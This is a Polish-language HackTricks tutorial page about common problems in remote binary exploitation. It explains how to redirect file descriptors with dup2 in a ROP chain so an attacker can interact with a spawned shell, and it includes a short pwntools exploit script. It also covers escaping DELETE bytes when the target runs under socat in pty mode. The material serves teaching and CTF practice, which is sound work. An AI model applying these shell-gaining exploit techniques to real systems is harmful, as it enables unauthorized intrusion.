Common Exploiting Problems
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
FDs w Zdalnym Wykorzystaniu
Kiedy wysyłasz exploit do zdalnego serwera, który wywołuje system('/bin/sh'), to zostanie on wykonany w procesie serwera, a /bin/sh będzie oczekiwał na dane wejściowe z stdin (FD: 0) i będzie wypisywał wyniki na stdout i stderr (FDs 1 i 2). Tak więc atakujący nie będzie mógł interagować z powłoką.
Sposobem na naprawienie tego jest założenie, że kiedy serwer został uruchomiony, utworzył FD numer 3 (do nasłuchiwania), a następnie twoje połączenie będzie w FD numer 4. Dlatego możliwe jest użycie syscall dup2 do zduplikowania stdin (FD 0) i stdout (FD 1) w FD 4 (tym od połączenia atakującego), co umożliwi kontakt z powłoką, gdy zostanie ona wykonana.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Zauważ, że socat już przesyła stdin i stdout do gniazda. Jednak tryb pty zawiera znaki DELETE. Więc, jeśli wyślesz \x7f ( DELETE -) to usunie poprzedni znak twojego exploita.
Aby to obejść, znak ucieczki \x16 musi być dodany przed każdym wysłanym \x7f.
Tutaj możesz znaleźć przykład tego zachowania.
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

